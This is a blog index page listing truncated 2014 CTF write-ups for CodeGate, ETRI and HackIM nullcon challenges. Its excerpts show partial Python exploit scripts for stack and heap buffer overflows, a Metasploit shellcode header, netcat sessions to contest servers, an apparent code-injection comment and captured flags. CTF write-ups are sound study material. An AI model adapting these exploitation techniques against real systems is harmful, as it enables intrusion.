반응형

전체 글

2014 CodeGate Junior PreQual - Lotto

invalid-file C:\Users\Administrator>nc 58.229.183.27 7787Welcome to lottery service -------- the Hall of Fame -------- No one was win! Good luck!---------------------------------- Please pick 7 numbers in 1 to 45 Choice 1: 2 Choice 2: 7 Choice 3: 9 Choice 4: 15 Choice 5: 17 Choice 6: 18 Choice 7: 34Congratulations! We will record your name in the Hall of Fame!Your name: sweetchipComment: __impor..

0x10 정보보안/0x15 System 2014. 2. 16. 14:28

2014 CodeGate Junior PreQual - Closure, RunCommand

Closure ----- closure C:\Users\Administrator>nc 58.229.183.22 2020$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1. Login2. Create Account3. Quit$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 2Username: 5[531320059] user created.$ 1Username: 531320059login success.##################################1. create file2. check file list3. Log out################################### 1[ ] input filename to write : ~ -name key -e..

0x10 정보보안/0x13 Write-Up 2014. 2. 16. 14:21

CodeGate 2013 Vulnerability 400 Exploit

Binary : level4 from socket import *import structimport time p = lambda x : struct.pack("

0x10 정보보안/0x13 Write-Up 2014. 2. 15. 00:27

2013 ETRI junior ctf level10 write up

level10 binary # jctf 2013 lv10 exploit - from socket import *import time ip = "127.0.0.1"port = 31333 payload = "257\n" # type conversionpayload = "134525080\n" # random[16]payload = "7\n" # exitpayload = "A"*19 #buff ~ 19payload = "\n" # buff ~ 20 s = socket(AF_INET, SOCK_STREAM)s.connect((ip, port)) print s.recv(1024)s.send("257\n") print s.recv(1024)s.send("134525080\n") print s.recv(1024)s...

0x10 정보보안/0x13 Write-Up 2014. 2. 6. 12:44

HackIM nullcon exploitation 100 write-up [exploit]

binary : SERVER.rb require 'drb/drb' # The URI to connect to#SERVER_URI="druby://127.0.0.1:8988"SERVER_URI="druby://23.23.190.205:8988" # Start a local DRbServer to handle callbacks.## Not necessary for this small example, but will be required# as soon as we pass a non-marshallable object as an argument# to a dRuby call.DRb.start_service timeserver = DRbObject.new_with_uri(SERVER_URI)puts timese..

0x10 정보보안/0x15 System 2014. 1. 27. 15:34

HackIM nullcon exploitation 400 write-up [exploit]

주제 : simple stack based buffer overflow binary : chall_heap import timeimport struct p = lambda x : struct.pack(" nc.txt^Croot@ubuntu:/home/sweetchip/Desktop/cyber/ncon# cat nc.txt | sort | uniq -c 1 ?Good Enough? Pwn Me! 1 96d1c4d1f47b666928a37f7dd6a4383e 77 Good Enough? Pwn Me! key : 96d1c4d1f47b666928a37f7dd6a4383e """ 위 코드로 100번정도 brute-force를 시도하면 한번정도는 키가 줄력된다 으아아ㅏ.. flag : 96d1c4d1f47b666..

0x10 정보보안/0x15 System 2014. 1. 27. 15:29

HackIM nullcon exploitation 300 write-up

.binary : vuln3 import timeimport struct # createheap -> allocate_big_heap -> strcpy -> deleteheap(vtable)# simple function pointer overwrite# heap overflow """/* * linux/x86/read_file - 97 bytes * http://www.metasploit.com * Encoder: x86/shikata_ga_nai * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * Prepen..

0x10 정보보안/0x15 System 2014. 1. 27. 15:25

HackIM nullcon exploiation 200 write-up [exploit]

주제 : Simple stack based buffer overflow binary : srv2 from socket import *import structimport time p = lambda x : struct.pack(" ") """C:\Users\Administrator\Desktop\nullcon>ex2.pygo?[*] Sending Exploit..[*] cat key :D6ffcffda1c58f6dbe4dcd5b715de538c > C:\Users\Administrator\Desktop\nullcon>""" 바이너리에는 간단한 buffer overflow 취약점이 존재한다. aslr이 걸려있다는 가정하에 exploit 코드를 작성한다 Flag : 6ffcffda1c58f6dbe4dcd5b7..

0x10 정보보안/0x15 System 2014. 1. 27. 15:23

페이징

1 ··· 3 4 5 6 7 8 9 ··· 17
반응형

티스토리툴바